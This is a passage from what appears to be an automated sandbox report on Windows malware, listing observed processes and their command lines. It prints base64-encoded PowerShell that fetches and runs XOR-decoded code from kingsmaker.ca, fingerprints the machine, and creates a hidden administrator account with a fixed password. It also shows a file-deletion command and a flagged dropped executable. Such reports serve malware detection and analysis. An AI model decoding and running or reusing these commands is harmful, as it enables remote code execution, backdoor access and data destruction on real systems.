CAAIAAgACAAIABTAGUAbgBkACAAIgBiAGUAZwBpAG4AIABkAG8AdwBuAGwAbwBhAGQAIAAkAHUAcgBpACIAOwANAAoACQAJACQAYwBvAG4AdABlAG4AdAAgAD0AIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwANAAoAIAAgACAAIAAgACAAIAAgACQAYgB5AHQAZQBBAHIAcgBhAHkAIAA9ACAAJABjAG8AbgB0AGUAbgB0AC4AYwBvAG4AdABlAG4AdAA7AA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAIAAoACQAaQAgAD0AIAAwADsAIAAkAGkAIAAtAGwAdAAgACQAYgB5AHQAZQBBAHIAcgBhAHkALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgACQAYgB5AHQAZQBBAHIAcgBhAHkAWwAkAGkAXQAgAD0AIAAkAGIAeQB0AGUAQQByAHIAYQB5AFsAJABpAF0AIAAtAGIAeABvAHIAIAAxADsAIAB9AA0ACgAJAAkASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAQQByAHIAYQB5ACkAKQA7AA0ACgAJAAkAYgByAGUAYQBrADsADQAKAAkAfQANAAoACQBjAGEAdABjAGgADQAKAAkAewANAAoACQAJAFMAZQBuAGQAIAAkAF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUAOwANAAoACQAJACQAYwBvAHUAbgB0ACAALQA9ACAAMQA7AA0ACgAJAAkAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQA1ADsADQAKAAkAfQANAAoAfQANAAoADQAKAA0ACgA=
Imagebase:	0x7ff7cc3c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	02:24:34
Start date:	29/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	02:24:35
Start date:	29/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBrAGkAbgBnAHMAbQBhAGsAZQByAC4AYwBhAC8AZgBpAGwAZQAyAC8AOQBhAGUAYQA4AGIAZgA4ADMAMwBjADgANwA3ADAAOQA1ADkAZABiADcAYwA3ADIAOABmADQAYwBjAGQAYwBmAGMAOABmADQAZQA5ADMAMABhAGYANABkAGQANAA0AGUANgA1ADIAMQAzAGIAOQBiADQAYQA0ADcAOABlADUAZgA4ADYAZABjADEAMQA5AGEAMAA4ADEAMAAxADkANABhADkAMAA4ADcANAA0ADAAYgA3ADkAMAAzADgAMgBlAGIANwAxADEANQBhADkAZAA2AGEAMwAzAGIAYwAwADIAMAAyADgAZQA1ADUANgA3ADgAYQBiAGUAMAAyAGEAZAA0ADUAZAA0ADgAZQA5AGEAZgBhADkAMwBhAGYAOAAzADcANQAzADEAZQAzADUAYgAxAGMAOAA4AGUANgBiAGYAYwBhAGYAYQAyADcAZAA4ADIAZQBlADIANAA0ADIAMAAzAGIAOAA2AGEANgA1ADAAYQBjAGYAMwAzADQANgAwADYANwA2AGUAMQA5AGUANABkADUAMABjAGMAYgBmADcAYgA3ADkANQA1ADcANQBiADQAOAAxAGUAYwA0AGQANAAzACIAOwANAAoAJABjAG8AdQBuAHQAIAA9ACAAMQAwADAAOwANAAoADQAKAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAAUwBlAG4AZAAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACgAIABbAFAAUwBPAGIAagBlAGMAdABdACAAJABsAG8AZwBNAHMAZwAgACkADQAKAA0ACgAgACAAIAAgACMAIABDAG8AbgB2AGUAcgB0ACAAYgBvAGQAeQAgAHQAbwAgAHMAdAByAGkAbgBnAA0ACgAgACAAIAAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQAgAD0AIABbAHMAdAByAGkAbgBnAF0AKAAkAGwAbwBnAE0AcwBnACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgApADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAA9ACAAQAAoACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgACsAPQAgACQAcwB0AHIAaQBuAGcAQgBvAGQAeQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAIgAtAC0ALQAtAC0ALQAtAC0ALQAtACIAOwANAAoADQAKACAAIAAgACAAJABoAGUAYQBkAGUAcgBzACAAPQAgAEAAewB9ADsADQAKACAAIAAgACAAJABrAGUAeQAgAD0AIAAiAEMAbwBuAHQAZQBuAHQALQBUAHkAcABlACIAOwANAAoAIAAgACAAIAAkAHYAYQBsAHUAZQAgAD0AIAAiAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAGoAcwBvAG4AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAWwAkAGsAZQB5AF0AIAA9ACAAJAB2AGEAbAB1AGUAOwANAAoAIAAgACAAIAAkAHUAcgBpACAAPQAgACIATABPAEcAVQBSAEwAIgA7AA0ACgAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABiAG8AZAB5ACAAPQAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAfAAgAEMAbwBuAHYAZQByAHQAVABvAC0ASgBzAG8AbgA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0ATQBlAHQAaABvAGQAIABQAG8AcwB0ACAALQBIAGUAYQBkAGUAcgBzACAAJABoAGUAYQBkAGUAcgBzACAALQBCAG8AZAB5ACAAJABiAG8AZAB5AA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAADQAKAH0ADQAKAA0ACgB3AGgAaQBsAGUAKAAkAGMAbwB1AG4AdAAgAC0AZwB0ACAAMAApAA0ACgB7AA0ACgAJAA0ACgAJAHQAcgB5AHsADQAKACAAIAAgACAAIAAgACAAIABTAGUAbgBkACAAIgBiAGUAZwBpAG4AIABkAG8AdwBuAGwAbwBhAGQAIAAkAHUAcgBpACIAOwANAAoACQAJACQAYwBvAG4AdABlAG4AdAAgAD0AIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB1AHIAaQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwANAAoAIAAgACAAIAAgACAAIAAgACQAYgB5AHQAZQBBAHIAcgBhAHkAIAA9ACAAJABjAG8AbgB0AGUAbgB0AC4AYwBvAG4AdABlAG4AdAA7AA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAIAAoACQAaQAgAD0AIAAwADsAIAAkAGkAIAAtAGwAdAAgACQAYgB5AHQAZQBBAHIAcgBhAHkALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgACQAYgB5AHQAZQBBAHIAcgBhAHkAWwAkAGkAXQAgAD0AIAAkAGIAeQB0AGUAQQByAHIAYQB5AFsAJABpAF0AIAAtAGIAeABvAHIAIAAxADsAIAB9AA0ACgAJAAkASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAQQByAHIAYQB5ACkAKQA7AA0ACgAJAAkAYgByAGUAYQBrADsADQAKAAkAfQANAAoACQBjAGEAdABjAGgADQAKAAkAewANAAoACQAJAFMAZQBuAGQAIAAkAF8ALgBFAHgAYwBlAHAAdABpAG8AbgAuAE0AZQBzAHMAYQBnAGUAOwANAAoACQAJACQAYwBvAHUAbgB0ACAALQA9ACAAMQA7AA0ACgAJAAkAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQA1ADsADQAKAAkAfQANAAoAfQANAAoADQAKAA0ACgA=
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	02:24:35
Start date:	29/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	02:24:35
Start date:	29/11/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	02:24:35
Start date:	29/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	02:24:35
Start date:	29/11/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2088 --field-trial-handle=1640,i,3827613788604164973,16570324060737395036,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	02:24:48
Start date:	29/11/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff605670000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	02:25:28
Start date:	29/11/2024
Path:	C:\Windows\Temp\svczHost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Temp\svczHost.exe cakoi7 kingsmaker.ca
Imagebase:	0x7ff740400000
File size:	8'351'232 bytes
MD5 hash:	EB57894A8FF610DF55C97E427D0DDD7B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 67%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	02:25:28
Start date:	29/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	02:25:28
Start date:	29/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /c del /q "C:\Windows \System32\*" & rmdir "C:\Windows \System32" & rmdir "C:\Windows \"
Imagebase:	0x7ff7cc3c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	02:25:30
Start date:	29/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /c sc query myRdpService
Imagebase:	0x7ff7cc3c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	02:25:30
Start date:	29/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	02:25:30
Start date:	29/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	02:25:30
Start date:	29/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	02:25:30
Start date:	29/11/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc query myRdpService
Imagebase:	0x7ff6522d0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	02:25:30
Start date:	29/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA=
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	02:25:30
Start date:	29/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	2.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFB4B4E92D6 Relevance: .5, Instructions: 480
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1911220677.00007FFB4B4E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B4E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffb4b4e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f6271ffb7d60a96e43ffc27b52ccd68e5205fd81769d620fa4621c3c4c8446c
Instruction ID: 580b8b41478acea44228d05677f5a4c1ad52813664c9730a51b5bcbf36ca3015
Opcode Fuzzy Hash: 8f6271ffb7d60a96e43ffc27b52ccd68e5205fd81769d620fa4621c3c4c8446c
Instruction Fuzzy Hash: 04F1A37090CA8D8FEBA9EF28D8457E977D1FF54310F04826EE84DC7291DB3899458B82

Function 00007FFB4B4EA082 Relevance: .5, Instructions: 466
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1911220677.00007FFB4B4E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B4E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffb4b4e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d206bd8290cd301ec63229ac01439b3210e99fed145cec78bbcbeae11e0cdb08
Instruction ID: 57ed90361eeaaa1e13968eaa37ecf0c4cbbd135d84e269dc27bef3d70759b27c
Opcode Fuzzy Hash: d206bd8290cd301ec63229ac01439b3210e99fed145cec78bbcbeae11e0cdb08
Instruction Fuzzy Hash: DFF1C47090CA4D8FEB69EF28C8557E977D1FB54310F04826ED84DC7291DB78A9858782

Function 00007FFB4BC60360 Relevance: 2.7, Strings: 2, Instructions: 198
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

hpK, xrefs: 00007FFB4BC60526
0pK, xrefs: 00007FFB4BC60449

Memory Dump Source

Source File: 00000000.00000002.1927241444.00007FFB4BC60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4BC60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffb4bc60000_powershell.jbxd

Similarity

API ID:
String ID: 0pK$hpK
API String ID: 0-844411457
Opcode ID: b5b5259a7e4de7f7820175a3479d5074a63dc35cc86badf64ef6a230a6615dab
Instruction ID: 4d3ca1a2662ab9d19f17225dd88f943b2a0d961968cc5a044d110e47a1673645
Opcode Fuzzy Hash: b5b5259a7e4de7f7820175a3479d5074a63dc35cc86badf64ef6a230a6615dab
Instruction Fuzzy Hash: 3E51E6D290EBCA0FE3A6EA7C89D55B07FE0EF5621070945FED588D75E3E8085C468352

Function 00007FFB4B4F8824 Relevance: 1.6, APIs: 1, Instructions: 114
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32 ref: 00007FFB4B4F88CE

Memory Dump Source

Source File: 00000000.00000002.1911220677.00007FFB4B4E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B4E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffb4b4e0000_powershell.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: f01bd79599c2f07f375b45d7f23eca6062288aaa65577471cbe5f6f803d64772
Instruction ID: 30cc64171179ee1978d3e91db13e97935d2b227a176d915bc50483a98397b131
Opcode Fuzzy Hash: f01bd79599c2f07f375b45d7f23eca6062288aaa65577471cbe5f6f803d64772
Instruction Fuzzy Hash: 9E31C17190CA4C9FDB19DFA8C849AE9BBE1EF55321F04826BD049D3252CB74A846CB91

Function 00007FFB4B5B2075 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1912451957.00007FFB4B5B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B5B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffb4b5b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11b8d5a427c303da204c2dadf7f18bbb00f14377d5403d2991fd50dce53b893e
Instruction ID: 27b4da801ac837cc62909673ef12f5d79a2eecc1e88cdb3fbfd964685b82f904
Opcode Fuzzy Hash: 11b8d5a427c303da204c2dadf7f18bbb00f14377d5403d2991fd50dce53b893e
Instruction Fuzzy Hash: 4EF028A2F0DE0E0EEEA6AA3C66242B9D5C2DF8422174841B7D50DC31A3DE099C018391

Non-executed Functions

Function 00007FFB4B4F3D0D Relevance: 4.5, Strings: 3, Instructions: 761COMMON

Download Yara Rule

Strings

[1, xrefs: 00007FFB4B4F43A3, 00007FFB4B4F454A
M_H, xrefs: 00007FFB4B4F406D
M_H, xrefs: 00007FFB4B4F4370

Memory Dump Source

Source File: 00000000.00000002.1911220677.00007FFB4B4E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFB4B4E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffb4b4e0000_powershell.jbxd

Similarity

API ID:
String ID: M_H$M_H$[1
API String ID: 0-3250826156
Opcode ID: 4eb20e273cb9e59bf7ded062698cd7ef35b3e6c67955553597fa37d41371dde2
Instruction ID: 1a6c44b3b64bf5616a2abb77d91fef08bea571148ad96804298d705604bb19b1
